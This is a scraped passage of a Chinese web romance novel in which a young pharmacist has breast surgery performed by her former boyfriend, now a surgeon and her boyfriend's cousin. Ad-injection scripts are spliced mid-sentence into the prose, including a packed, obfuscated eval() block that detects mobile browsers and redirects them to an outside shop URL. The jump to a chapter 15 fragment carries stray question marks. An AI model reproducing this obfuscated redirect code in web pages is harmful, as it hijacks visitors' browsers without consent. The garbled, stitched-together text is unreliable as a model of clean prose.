从始至终,他对她的态度就像对待隔壁床那位大姐一样,算得上温和,但也透着股疏离。 她一一回答了他的问题,仿佛他们就只是普通的医患关系,至于几天前在初涩的不欢而散,两人都不约而同地不去提及。 床头挂着一份她的病历,他拿起来翻看,像是随口闲聊地问:“就你一个人?” 他从病历中抬头扫她一眼:“没有家属陪同吗?” 听上去这只是医生一句再平常不过的询问,但谢一菲就是从中听出了点阴阳怪气的味道来。 “我家人不在这边。” “秦一鸣呢?” 果然在这等着她呢。 “他陪着领导去深圳开会了,昨晚刚走的。” 他闻言笑了一下,而那笑容看在谢一菲眼里,别提多刺眼了。 “有什么问题吗?”她没忍住问。 他把她的病历重新挂去床头,然后看着她:“是他恰巧不能陪你,还是你根本没告诉他?” 原来他一直以为她对秦一鸣隐瞒了自己的病。 乳腺疾病对于女性来说要承受的痛苦可能远远超过疾病本身带来的痛苦,它意味着失去美、失去性、失去爱,甚至失去生命。 这世上虽然也有无坚不摧的感情,但更多的却像玻璃一样脆弱。 最初意识到自己的身体出了问题时,她的确犹豫过要不要告诉秦一鸣。 作为女朋友,她没想过欺瞒他,但也不想太麻烦他。这不是因为她多独立,只是她心里清楚,他们的关系远到不了可以共患难的地步。 所以眼下秦铮这句问话是单纯好奇也好,还是点拨抑或嘲讽,都有他的道理。 但有道理不代表她愿意回答。 “说不说对我的病情有什么影响吗?” 她故意不解地看着他,而他也看着她,脸色看上去很平静,但熟悉他的人都能看出来,他的心情应该没有他表现出来的那么无波无澜。 两人正僵持着,刚才带谢一菲进来的护士回来了。 应该是来带她去做检查的,但碍于秦铮在,又犹犹豫豫地没有上前。 谢一菲:“秦医生还有别的事吗?” 她不想再聊下去的意思已经很明显了。 秦铮看她一眼,一言不发地转身离开。 怕小护士多想,等秦铮走后,谢一菲故意对小护士说:“你们秦医生脾气真不好。” “秦医生大部分时候脾气还是挺好的,就是感觉太冷了。”小护士压低声音八卦兮兮地说,“不过也多亏了他是这种性格。” 谢一菲不明所以:“为什么这么说?” 小护士:“就这样追求者还排大队呢,要是再好说话点,那我们科的门槛都要被踏破了。” 谢一菲笑笑,不置可否。 一系列检查做完回来也到中午了。 在医院的送餐app上点好了餐,谢一菲换上了病号服拎着水壶出门打水。 这会儿打水的人不少,等候的队伍里有家属有护工,像谢一菲这样穿病号服的却只有她一个。 有人见状便让她先打,她谢绝了对方的好意,老老实实走到了队伍末尾。 再回过头时又看到了秦铮,他和他的研究生正从换药室出来。 谢一菲也是住进来后才知道,经常和秦铮一起出诊的女生不是医生,而是他的研究生,名叫何婷婷。 看到她,秦铮就像没看见一样很快收回了视线,倒是何婷婷频频回头,也不知道在琢磨什么。 何婷婷叹道:“她家里人心可真大,还真让她一个人来做手术了,这是还没开刀,明天开过刀谁帮她打水拿饭啊?” 秦铮思忖了一下问:“她请护工了吗?” “没有,不过护工现在这么紧张,这时候请明天也未必能安排上。” 秦铮点点头,没再说什么。 折腾了一上午,谢一菲早就饿了,即便医院的饭不好吃,但她还是吃得干干净净的。 她把空掉的餐盒扔去水房旁的垃圾桶,结果又遇到了在打水的秦铮。 虽然住进来前就早有心理准备两人会经常碰面,但这一次又一次的,还是挺考验心态的。 见他始终盯着自己的水杯,似乎并没有看到她,她就打算悄悄离开。 然而,她刚踏出水房,身后的人忽然开口:“这就是你说的感情很好准备结婚?” 此时是午休时间,病房附近静悄悄的,几乎没什么人走动。 她深呼吸,转身看向秦铮:“从早上到现在,秦医生到底想说什么?” “这可以是个小手术,但也可以不是。”他关掉水龙头看向她,“为什么不跟他说?觉得没必要还是怕他有想法?” “说了你也不信,干嘛还问我?” “我不信是因为我了解你,也了解他。” 谢一菲觉得这大概是这段时间以来,她听到的最荒谬的话了。 “我都不敢说我了解我自己,秦医生哪来的自信?而且,十年了,什么都在变。” “也是,至少你的眼光变化挺大的。我很好奇,你究竟看上了秦一鸣哪一点?房子?户口?工作?” 他说的每一点都是实实在在的,却也实实在在和爱情无关。 可是他有什么资格来问她?就凭十年前他一走了之音信全无吗?还是凭十年后的他浪荡不羁女人换了又换? 谢一菲笑了笑:“这些都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 算吧,当然这都不是重点,重点是——花心又冷酷的人太多了,至少他专一有温度。” 秦铮闻言明显怔了怔。 谢一菲对他这一反应很满意,有些话点到即可。 回到病房时,病友们还在休息。谢一菲躺在床上,想到这些天以来发生的事情,好像每一件不顺心的事都和秦铮有关。越想越心烦,直到她拿出手机,看到和秦一鸣的微信对话…… 今天一早他就出门了,但一直在跟进她的情况,事无巨细,看得出是真的担心她。 爱情的模样有很多种,当年的她和秦铮或许算一种,而如今的她和秦一鸣或许也算一种。 她又想到秦铮误以为她没把自己生病的事告诉秦一鸣,也就是说秦一鸣并没有给秦铮打过电话。为什么呢?大约只是忙忘了,也可能在秦一鸣看来不用他打招呼秦铮也该自觉地尽心尽力吧。 躺在病床上休息没一会儿,就到了医生们下午上班的时间。 病友们陆续开始活动,门外忽然热闹了起来,谢一菲好奇出了什么事,正好有位家属从外面回来,通知大家:“大主任来查房了。” 据谢一菲所知,大主任查房不是天天都有,肯定不同于一般医生查房,就是不知道这阵势能有多大。 不一会儿,就见一群白大褂乌泱泱地走进了病房,被众人簇拥着的是一位个头不高但气质出众的中年女医生,跟着她进来的医生足有七八个,最后走进来的是秦铮。 一眼望过去,这些医生中只有两名是女性,其余全是男医生。 大概是因为见识浅薄的原因,她想象中的年轻男医生都该是秦铮那样的,但今天这么一看,很显然,无论是身高还是长相,秦铮在他们当中都有种鹤立鸡群的感觉,难怪上午那小护士会那么说。 医生们一进来就将整个病房围得水泄不通,几个陪床的家属都被请了出去。 医生们每到一个病床前,就有主治医生给主任介绍病人的情况。 病人们似乎都很熟悉流程,在医生们来到自己病床前时会主动撩起衣服给他们查看。 谢一菲无意间看到了对床阿姨的胸,那一瞬间毫无防备的冲击让她倒吸一口凉气。可周遭的所有人似乎都已习以为常,只有她一副没见过“世面”的样子。 药学更接近化学,虽然她的工作一直都和乳腺癌有关,但她从未见过真正的恶性肿瘤。 在今天之前她都无法想象一个人的胸部可以变成那样——肿胀、溃烂,让人不忍直视。 那位阿姨的病情显然比较严重,主任在她那停留的时间最长,询问她的情况的同时还会给身后的医生们提点几句。 就这样,一位位病人访视下来,最后终于轮到了谢一菲。 片刻的工夫,她的病床已经被一众医生围得严严实实密不透风。 所有人的目光都聚焦在了她的身上,像是在等待着什么。 如果说在已经成为陌生人的前男友面前袒露自己的尴尬等急为十级,那么此刻,在这位前男友和其他一众男医生面前袒露自己的尴尬等级至少有十八级。 11.第 11 章 谢一菲也是第一次见识这样的场面,好半天没有回过神来,后来还是经人提醒才想起要脱衣服。 她快速脱掉身上的羊绒衫,去解病号服扣子时却遇到了一点小困难,因为紧张,她的手有点抖,结果越抖就越紧张…… 正在这时,一直沉默着的秦铮忽然开口了。 “患者右乳近□□旁有个低回声结节,包膜完整,边界清晰,初步考虑良性的可能更大,但鉴于结节直径已近1cm,且纵横比较大,建议手术切除……” 他一开口,大家的注意力都集中在了他的身上,没人再盯着谢一菲,谢一菲总算顺利解开了所有扣子。 主任说:“躺下看一下。” 她不知道为什么别人都是坐着,到她却要躺下,但很显然,躺着比坐着更让人尴尬。 慢吞吞平躺在病床上,她觉得周围人的目光就像是有实质的,无情地刮过她的皮肤。让她感觉胸前凉飕飕的。 她望着天花板,努力让自己的大脑放空。 主任问秦铮:“是不是考虑做个穿刺定位?” 病房里安静了片刻,秦铮走到床前:“手有点凉。” 她后知后觉地明白过来,他这是在跟她打招呼,告诉她他要为她手诊了。 在这么多人面前被手诊和在他的诊室里被手诊那是两种感觉。 心里已经快尴尬死了,但她却努力表现得足够镇定足够无所谓。她暗暗告诉自己,就几分钟的事,大家都是这么过来的,忍一忍就过去了,过后谁也不会记得她。 然而四月的北京还很干燥,她又刚脱掉羊绒衫,就在秦铮碰到她的一刹那,一条无形的链路被连通,“啪”的一声,她被电得一哆嗦,她甚至感觉到了脑门上的一撮头发都立了起来,可以想象她这副样子有多搞笑了。 先前紧张的情绪就像是遇到了明火,忽地被引爆。 不知是谁先笑出声来,接着,其他人也笑了,谢一菲心里叫苦,恨不得找个地方藏起来,还好秦铮面色沉静,一丝不苟,才让这一切不至于太滑稽。 “马上就好。” 他的话和他的沉着冷静就像是一针镇静剂,让她鼓噪的心渐渐平静了下来。 她闭上眼,不再去关注别人的目光。 当眼睛看不见的时候,其他的感官就变得格外敏感。 她能感受到他微凉干燥的手指在右乳上轻轻按压,也能闻道他身上独属于他的草木香,最后她听到他说:“我认为用不着穿刺。” 听上去应该是个好消息。 她听着他们讨论她的手术方案,却忘记了睁眼,直到有什么东西盖在了她的身上。 再睁开眼时只看到一群白大褂离开的背影。 她呼出一口气,看了眼自己身上的羊绒衫。 “刚才秦医生帮你盖的。”说话的是隔壁床的大姐。 谢一菲看向病房门外,此时秦铮并没有走远,从谢一菲的角度可以看到他正被同行的年轻女医生拉着说话。 大姐好奇道:“你和秦医生很熟吗?” 谢一菲起身穿好衣服:“不算熟。” 大姐暧昧看向她:“那秦医生对你可挺不错的,你看他给谁盖衣服了?” 难得他被她冷嘲热讽一通后还能照顾她的感受,但她并不会自以为是地觉得他对她是旧情难忘。 她猜他这么周到,多半只是因为她现在是他的病人。 谢一菲笑了笑没说话,大姐继续道:“那你呢?我看你脸都红了,不会对秦医生也有什么想法吧?” “我只是没在这么多人面前脱过衣服。” 大姐哈哈大笑:“这个呀习惯就好了,大家都是为了治病,谁也不会多想的。不过话说回来,秦医生医术精湛,乳腺外科除了周主任就数他最厉害了,而且我听说他可是全院最年轻的副主任医师,关键是这么有才还长得这么帅,你们小姑娘会看上他也正常。之前也是住你这个床的小姑娘,就喜欢秦医生喜欢得不行呢……” 谢一菲打断她:“您误会了,我有男朋友。” “这样啊……害,我以为你跟那小姑娘一样呢……”说着大姐忽然压低声音凑近谢一菲,“你说你没什么想法姐就放心了,秦医生这人呀什么都好,就是有个缺点……” 谢一菲被大姐这神神秘秘的语气勾起了好奇心:“什么?” “这么说吧,这人有点风流。我听医院的其他医生还有病人家属说总能看到他和不同的女孩子在一起,之前还有个女孩来医院找过他呢!” 谢一菲闻言,再度看向门外。 秦铮和那位女医生还没走,他不知说了什么,让那女医生笑得格外灿烂,看向他的目光也饱含着一种过来人一眼就能看懂的倾慕。 大姐顺着她的视线看过去,一副习以为常的样子:“看到了吧,男人如果太优秀那就肯定不能让人省心。对了,小姑娘你男朋友是做什么的?” “老师。” “中学老师吗?” “大学。” “大学老师好啊,有文化……哎呀,不过大学里好多女学生也挺疯狂的,你要小心了……” 谢一菲笑笑,没再说什么。 …… 第二天午休时间刚过,谢一菲就被何婷婷带去了手术室。 手术室里没有想象中的各类高端仪器,也没有扎堆的医生护士,她们到的时候里面只有秦铮一人。 他穿着绿色的手术服,帽子口罩几乎遮挡住了整张脸,只露出一双明亮而沉静的眼。 见她们来,他只淡淡扫了一眼,什么也没说。 何婷婷示意她脱掉上衣,在手术台上躺好,她依言照做,然后就看着他们师生二人各忙各的。 片刻后,何婷婷将一个放着手术器械的台子放在了她的头部上方,与此同时台子上垂下来的绿布恰巧遮挡住了她的视线。 这是她人生中第一次做手术,本来就有点紧张,此时因为什么都看不见,不知道手术刀会在什么时候落下来,她就更紧张了。 她开始胡思乱想,想手术会不会出什么问题,病理结果会不会有什么意外,如果结果不尽如人意,她该怎么办…… 这一刻,她终于明白了有人等在门外的意义。 忽然间右乳上传来微凉的触感,她不由得瑟缩了一下。 他停下了动作,说了今天以来对她说的第一句话:“紧张?” 谢一菲顿了顿:“有点。” “不信任我?” “不是。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那就放轻松。” “好。”她犹豫了一下又问,“会疼吗?” “打麻药的时候会有点。手放好,不要乱动,疼了可以跟我说。” 或许是手术室里过分静谧的缘故,她竟然从他这几句话中听出点温柔的意味来。 接下来的过程就像他说的,除了最初打麻药时有点胀痛以外,其余时候还好。而她的心也随着时间的流逝一点点地安定下来。 眼前只有那块绿色的布,她想象着他此时的样子,猜测着他所看到的是怎样一个病变的器官。 整个手术没有持续太长时间,大约四十分钟后,伤口缝合完毕。不过为了避免没有愈合的伤口被拉扯,还需要在胸部缠上绷带。 何婷婷把提前准备好的绷带递给他,他大致比了一下长度,然后示意她抬起手臂。 谢一菲依言照做,几乎是与此同时他忽然不打招呼的俯身下来,就当她以为他会触碰到她时,他又快速离开……这么接连几次后低头再看,白色的绷带已经缠上了她的胸。 缠到一半,他突然停了下来,看着她。 谢一菲不明所以。 秦铮:“呼吸。” 原来她一直在屏气。她连忙深呼吸,他又开始重复刚才的动作。 不知道是不是看错了,她注意到,就在刚才,他的嘴角牵动了一下,像是在笑。 确保绷带缠得足够紧实后,他满意地点点头:“穿衣服吧。” 她如蒙大赦,连忙回身去找自己的衣服。 手术室里靠墙立着一台没通电的显示器,黑色的液晶屏上能清晰映照出对面人的影子,于是谢一菲猝不及防看到了秦铮的杰作——她虽然很瘦,但发育得不错,再多层的绷带也无法完全束缚住她,看着竟有种羸弱又欲盖弥彰的诱惑,如果不用考虑这绷带下是什么的话。 “一会儿麻药过去会有点疼,实在忍不了的话可以和护士要点止痛药。” 她收回视线,边穿衣服边问:“我什么时候可以出院?” “明天等通知吧。” 从手术室里出来时,隔壁的手术也恰巧刚结束。 手术门打开,一个活动病床倍推了出来,病床上的人脸色煞白有气无力,人似乎还处在半昏迷的状态。 谢一菲认出那正是她隔壁床的大姐,谁能想到这样一个人昨天还在眉飞色舞地跟她聊着她主治医生的八卦。 人生中第一次,她产生了某种龌龊的优越感,庆幸那人不是自己,庆幸自己不用像她一样,暂时不用失去□□、失去爱,甚至可能失去生命。 回到病房时,一个护工模样的人也跟着她进了病房,然后把一个水壶放在了她旁边的床头柜上。 谢一菲疑惑:“我好像没有请您帮我打水。” 护工笑道:“我是隔壁17床的护工,听说您手术过后不能提重物,需要个人帮忙打水,我就顺便一起打了。” 护工不会无缘无故来帮忙,肯定是有人跟她打过招呼,而这间医院里能为她打这个招呼的恐怕也只有秦铮了。 让她自己选,以他们现在的关系,她很不想承他的情,可惜她现在除此之外别无选择。 没骨气就没骨气,就当他是看在秦一鸣的面子上照顾她的吧。 12.第 12 章 麻药的效力过去后,伤口果然开始隐隐作痛,担心晚上睡不好谢一菲打算吃片止痛药。 对比起白天的热闹,此时熄了灯的住院部格外的安静。 她来到护士站,里面只有一位护士在值班,正是昨天带她去做检查的那位小护士。可能实在太累了,小姑娘正闭着眼睛按压着太阳穴以缓解疲劳。 谢一菲走上前说明来意,小护士没等她说完就拿出两粒止痛药给她。 “秦医生早交代好啦。” 对于秦铮在工作方面的周到细致,谢一菲已经不意外了。 看到小护士哈欠连连很困倦的样子,她有点抱歉地说:“你们医护人员真辛苦,这么晚了还不能休息。” 小护士这会儿也不忙,闻言笑了:“我们护士还好,就是倒班有点累。其实医生比我们更辛苦,就拿秦医生来说吧,早上七点半就来查房了,赶上门诊日八点还要出门诊,一上午就要看几十上百号病人,中午还不能休息,还有一大堆患者等着换药,下午一般都有手术,今天就是,除了您那台,他还做了四台全麻大手术,这会儿还没走呢……” 说着小护士往她身后看了一眼,谢一菲跟着回头看,这个时间病区里还亮着灯的房间不多,医生办公室就是一间。 小护士叹道:“啧啧,铁打的人也就这样了。” 谢一菲以前只听说医生忙,但没想到会这么忙。更难得的是,即便工作很多,也没见他有哪怕片刻的慌乱或者不耐烦。 不管他对待感情如何,又是怎么看待她的,至少作为医生,他很称职,甚至优秀。 这个认知让谢一菲再想到自己之前对他的误会时就更觉得尴尬和心虚了。 她真心实意地说:“谢谢你,也感谢秦医生。” 小护士打趣她:“感谢秦医生跟我说什么呀,要谢您就当面谢谢他呗。” 谢一菲笑笑没接这话。 吃了药回到病房里,伤口好像真没那么疼了,但她知道,药效不会来得那么快。 躺在床上,她又想到小护士刚才的话,就犹豫着要不要给秦铮发个表达谢意的微信,至少护工的事她还没有谢他。 正在这时,她听到了一声似有若无的抽泣声。 这一晚上,病房里就没有彻底安静过,先前是隔壁床大姐哼哼唧唧忍痛的声音,此时大姐似乎睡了,可又有哭声。 今天下午时,她们病房又住进来一个女孩,聊天中得知女孩比谢一菲还小两岁,据说在一家外企工作,原本年轻漂亮前途光明,可突然查出了癌症,而且发现的时候就已经转移了。 听声音传来的方向,多半是她。 谢一菲望着黑漆漆的天花板,忽然也没了睡意。 如果把人的一生比作河流,那有的人的人生就是波澜壮阔的大江大河,小小的波折也只是他们人生中的点缀。而有的人的人生只能算是蜿蜒曲折的溪流,一块大点的顽石就能改变他们行径的轨迹。 虽然所有人的终点和归宿都是大海,但是沿途的风景不同,拐过的弯、遇到的坎不同,经历的磨难亦不同。 可为什么有人是那大江大河,而有人只能是那蜿蜒溪流呢? …… 第二天一早,秦铮准时来查房。 要不是看他衬衫换了,谢一菲几乎要怀疑他昨晚根本没有回家。 秦铮对另外几位病人照例关照叮嘱,到谢一菲这里,只丢下一句“来我办公室”便离开了。 有什么话是不能在病房说的?谢一菲忽然有点忐忑。 到了他办公室,他一言不发地坐去电脑前忙碌,这让她更加摸不着头绪。 等了好一会儿,他才开口:“今天有什么不舒服的吗?” “除了伤口有一点疼,其他没有。” “这段时间伤口刺痛很正常。”他在刚打印好的单子上签上了名字,然后推到她面前。 谢一菲低头看了一眼,不确定地问:“我可以出院了?” “对,一周以后来找我换药。” 她愣怔了好一会儿,问出了一个很傻的问题:“那我这是有问题还是没问题?” “病理结果也要等一周左右……”他抬头看向她,谢一菲的心也随之提了起来。 “但目前看问题不大。” 悬着的心总算落回了肚子里。 不过这人就不能一口气把话说完吗? 但因为听到的是好消息,她也懒得跟他计较了:“那这段时间我需要注意什么吗?” “注意饮食要清淡,伤口不能碰水。” “还有吗?” “最近不要做剧烈运动……”话说一半,他忽然顿了顿,“包括性生活。” 谢一菲:“……” . 回到病房,谢一菲开始收拾东西准备出院。 两天的时间只是一晃而过,但她却感觉经历了很多。 收拾到一半,忽然发现病房里的其他人都在看着她。 两天前,她看似“加入”了她们,但现在的她知道,她和她们终究是不同的。 此刻的她们大概也意识到了这一点,尤其是昨天刚住进来的那个女生,谢一菲能从她略微红肿的眼中看到羡慕、期待,还有旁人恐怕一生都无法真正体会的悲怆与恐惧。 谢一菲最初选择药学的原因简单到有点可笑。 她妈从她很小的时候就开始吃药,饭桌上的话题也总和“药”有关,所以她从小就对“药”很敏感,高考填报志愿的时候几乎没怎么犹豫就选择了药学。 十几岁的她天真地以为只要自己好好学习,将来就能帮到家里。后来她渐渐意识到自己当初的想法有多稚嫩傻气——她家缺的从来都不是药,而是钱。 可是既然已经走上了这条路,最好的选择就是继续走下去。 这么多年来,她一直以为自己在为一份稳定的工作和优厚的待遇而起早贪黑兢兢业业着。直到不久前导师去世时,她开始明白无数药学人多年来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13731756|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力或许不只是为了衣食无忧,科研对导师这样的人而言那是一生的事业,每一款新药的诞生都是一枚勋章。他们呕心沥血一步步推进着国产创新药的崛起,那种热爱和对成就的追求让谢一菲很受震撼。 而此刻,她发现自己的想法又变了,她不想功成名就,对研发本身也没什么执念,她的想法很简单,她只想有朝一日,可以有更有效的药物和治疗手段,让更多的人免于病痛的折磨。 如果一场磨难过后非要失去点什么,那失去□□也好,失去性失去爱也罢,至少不要失去生命。 算算时间,秦一鸣差不多快到北京了。原本说好了他来接她的,但她提前出院了,而他从机场回到市区还要一个多小时。 所幸她的创口不算大,缠上绷带后就基本可以正常活动,不需要别人帮忙也可以自己办理出院手续然后打车回家。 坐上出租车后,她想着要告诉秦一鸣一声自己已经提前出院的事,于是尝试着拨了下他的电话。 电话竟然通了,看来是已经下飞机了。 但电话接通后,对面的人却不说话,她起初以为是信号不好,可又能听到一些对面传来的杂音,不知道是不是她听错了,还有女孩子的笑声,极短促,像是冷嘲。 正在这时,秦一鸣那边挂断了电话,片刻后他又打了过来。 “刚才怎么回事?” 秦一鸣:“我也不知道,接通了就是没声音,可能这附近信号不好吧。” 回想了一下自己刚才听到的声音,或许真是串线了。 秦一鸣问:“今天感觉怎么样,什么时候能出院?” “我打电话来就是想跟你说一声,我提前出院了。” “怎么提前出院了,不是说好我去接你吗?” “反正我也能走能动的,不想继续待在医院就提前出来了。你在回来的路上吗?” “对,那我一会儿直接去你那吧?” “好。” “对了,昨天下午我有点忙,你的微信我忘了回了,你没生气吧?” 他不提谢一菲几乎都忘了自己昨天还给他发过微信,其实就是问他今天具体什么时间到北京。 她有点好笑:“这有什么好气的?谁都有忙得忘回微信的时候。行了,我快到家了,你路上注意安全。” 挂上电话,秦一鸣一言不发地看着车子前方。 片刻后,车子拐进一条小路,在距离B大的研究生宿舍楼还差一个路口的地方停了下来。 “你刚才笑什么?” 没等到回答,秦一鸣脸色更差了:“以后别随便动我的东西,更别随便替我接电话。还有,你昨天晚上说的话我就当没听过,你好好读你的书,过两年顺利毕业找个好工作……” 副驾驶位置上的人没等他把话说完便推门下了车,关门时力气不小,震得秦一鸣耳朵嗡嗡的。 他从后视镜中看着女孩子离开的背影,疲惫地呼出一口气。 …… 13.第 13 章 谢一菲刚到家不久,秦一鸣就来了,而且海参、阿胶,这些滋补的东西大包小包带了一大堆。 谢一菲问:“你今天刚回来,哪来的时间买这些?” “这能难得到你男朋友我吗?我上飞机前就下好单了,预订好送货时间,到家时正好收货。” 谢一菲觉得心里暖暖的。 她又想起在医院时秦铮那些阴阳怪气的话,所以说“未知全貌不予置评”是最起码的修养和对他人基本的尊重。再有下次,她一定要好好提醒他一下。 “想什么呢?” “我在想一个大男人怎么做到这么细心周到的。” “有心就能做到。”秦一鸣笑,“对了,手术怎么样?疼吗?” “基本不怎么疼了。” “伤口大吗?” “我自己还没看过伤口,但据说不大。” “据说?我弟说的吗?也是,他是主刀医生,没人比他更清楚了。” 她就算再迟钝也听得出他这语气不对劲。 谢一菲看向秦一鸣:“你是不是很介意他是我主治医生这事?” “没有。”秦一鸣几乎是立刻否认,但片刻后又支支吾吾地说,“好吧,确实有点。我一想到那画面就觉得怪怪的。你会不会觉得我气量太小?” 他突然这么坦白,她反而不生气了。 “有点。”她笑笑说,“不过这次手术之后,我们的医患关系应该就结束了。” 秦一鸣很高兴:“我就说你肯定没问题,癌症也不是随随便便就能得上的。” 谢一菲:“不过病理结果还要等等。你呢,这次出差顺利吗?” “你怎么突然问这个?” 谢一菲不明白这问题有什么“突然”的。 “你之前说你们副院长这次也去了,评职称的事和他提了吗?” “哦。你说这个啊,这次院里去了好几个人,还有学生在,没什么机会说这事。” 谢一菲点点头,安慰他说:“总还会有机会的。” “再说吧。” 难得“正事”没办成,秦一鸣似乎也没那么失望,或许是已经想开了吧。 …… 一周后,谢一菲的病理结果总算出来了,是良性。 虽然早有猜测,但到一切真正尘埃落定的时候又是截然不同的心境。那是一种劫后余生的庆幸,是脚踏实地的轻松。 秦一鸣听说这个消息后也很替她高兴。 “正好我也有个好消息要跟你说。” “什么好消息?” “我们在一起这么久了,我早该带你去见见我妈,之前是我做的不够好,让你心里一直不踏实。我姥姥生日之后我特意找我妈聊了聊。” 提到这件事,那天晚上那种迷茫的感觉又出现了。 谢一菲问:“聊什么?” 秦一鸣:“聊我要跟你在一起的决心,聊你是个什么样的人,希望她能不要只看那些肤浅的‘条件’,去尝试着了解你这个人。” 谢一菲有点意外地看向秦一鸣,此刻的他眼神坚定且温柔。 眼前的迷雾似乎被一只手轻轻拨开。她问自己,她能继续信任这个男人吗?一个心底的声音回应了她,或许可以。 秦一鸣继续道:“我妈应该是被我说动了,昨天突然打电话说让我周末带你回家吃饭。” 谢一菲有点意外。她虽然没有见过秦一鸣的母亲,但从秦一鸣的只言片语中,她能感受到秦母应该是个很强势独断的人,怎么会轻轻松松就被儿子说动呢? “怎么不说话了?丑媳妇忽然要见婆婆了,吓傻了?” 谢一菲笑笑:“确实。” 秦一鸣搂住她:“其实我妈没你想得那么可怕,相处久了你就知道了,她人其实挺好的……反正到时候你什么都不用管,负责吃就行。对了,你刚做完手术应该吃点清淡的吧,我一会儿就跟她说。” 谢一菲不想第一次去他家,就给他母亲留下一种很多事的感觉,但秦一鸣却说这又不是什么大事,还怪她过分小心翼翼。 两人一起吃过晚饭,又看了会儿综艺,秦一鸣才回去。 刘秀梅的电话就是在这个时候打了过来。 每次看到刘秀梅打电话来,谢一菲都会觉得心理压力很大,因为她妈每次找她无非是心里不痛快要来发泄,每次发泄的内容也没什么新意,不是抱怨她奶奶欺负人,就是抱怨她爸没本事。这样的话谢一菲听了二十多年,如今隔着千山万水也躲不掉。有几次她实在不想理会,但结果就是她爸遭殃。 她深吸一口气,接通了电话。 让她意外的是这一次刘秀梅的心情似乎不错。原来是有个亲戚家孩子今年想报考她们学校,有些问题想咨询谢一菲,这让刘秀梅难得在亲戚面前长了回脸。 刘秀梅:“那孩子想跟你通个电话,你好好给他讲讲。” 谢一菲:“没问题,大概什么时候?” 刘秀梅:“他们高中生平时在校好像不许用手机,只有周六回家时能用。” 去拜访秦母的时间也是周六。 谢一菲说:“周六白天恐怕不行,晚上应该可以。” “好的,那我回头跟他妈说一下。对了,你周六白天有什么事?” 谢一菲犹豫了一下,还是把要去秦一鸣家吃饭的事告诉了她妈。谢一菲离家多年,一向报喜不报忧。她做手术的事全家人没人知道,但她却把要去拜访秦一鸣母亲的事情告诉了她妈,也是希望她妈听了能高兴,但说过之后她就后悔了。 刘秀梅听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13740493|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也顾不上亲戚家孩子的事了,事无巨细问了一大堆问题,谢一菲不想惹她生气,耐着性子一一回答。 刘秀梅说:“你这回去一定要探探他家的口风,问问北京那边结婚有什么习俗没有,彩礼和聘礼有没有什么说法……” 刘秀梅虽然还没见过秦一鸣,但明显对秦一鸣这个“准女婿”非常满意。所以谢一菲找了个做大学老师的北京本地男朋友这事早就在她家亲戚中传得人尽皆知了。 她无奈:“妈,都什么年代了还说什么彩礼不彩礼的?” “那不说这些,房子他们总得准备吧?听说他现在住的还是租房住,不会结婚后就住那吧?” “我就是去吃个饭,这些事还远着呢……” “你不懂,你们恋爱谈了这么久,他妈之前一直不闻不问,这会儿突然叫你去家里吃饭,那就是要加速了。这些事你现在不说,以后什么时候说?” 谢一菲不想再跟她妈探讨这个话题,随口敷衍道:“我知道了,有机会我问问一鸣吧。” 听她妈似乎还意犹未尽,谢一菲佯装着困了,连忙挂断了电话。 她躺在床上,想着母亲电话里说的那些事,想着白天秦一鸣说过的话还有他那坚定又温柔的眼神,脑中渐渐浮现出两人生活在一起的画面。前景似乎很美好,可是她为什么一点不憧憬那样的未来,也感觉不到丝毫的甜蜜呢?或许是因为她明白,在那之前还有很多沟沟坎坎等着她去过。 …… 周六的早上,秦一鸣早早来家里接她。 虽然秦一鸣让她什么都不要准备,但基本的礼数她还是懂的。 她在网上订购了几个礼盒,不算多贵重,但也不失礼。 秦一鸣见她拎着东西出现,埋怨她:“都说了让你什么都别准备,我已经准备好了,你看这下买重了吧。” 他话是这么说,但谢一菲看得出他还是挺高兴的。 打开后备箱,秦一鸣打开一个鞋盒说:“对了,我给你买了双鞋,回头你试试大小合不合适。” 那是一双小白鞋,和她平时穿的差不多,只不过她穿的一般是帆布的,秦一鸣买的这双是皮子面的。 “怎么突然给我买鞋?” “你平时爱穿的帆布鞋一到下雨天就进水,我买的这双透气又防水,天气预报说这两天有雨,我就一直想着这事。你呀,心思别都放在工作上,该给自己多留点。” 谢一菲这才注意到今天是个阴天,像是随时要下雨。 秦一鸣絮絮叨叨了一路,都是些很寻常的话题,却让谢一菲的心情逐渐放松下来。 然而,这一天的好心情在她来到秦一鸣家看到客厅沙发上坐着的人时就结束了。 男人朝她笑了笑:“你们迟到了。” . 15-20 第15章 第 15 章 “如果你只是想玩玩的话…… 但不得?不承认, 她也认同他的猜测。 尽管她能看出?来今天这样的局面不是秦一鸣想看到的,但是他的种种表现很难不让她失望。 抬起头,发现秦铮正?看着她, 像是在等她的答案,或者说是,等她承认。 他好像从一开始就觉得?她和?秦一鸣感情很不好,今天这事算是把有力佐证递到他手?里了。 谢一菲也懒得?再跟他假客气, 直接无视了他那个?问题。 他无所谓地笑笑:“我怎么记得?有人说过都要结婚了,要结婚的人难道不是双方?家?长都见过面了吗?” 谢一菲没好气:“你到底想说什么?” “我看你这完全不像是过了名录的样子?啊。” 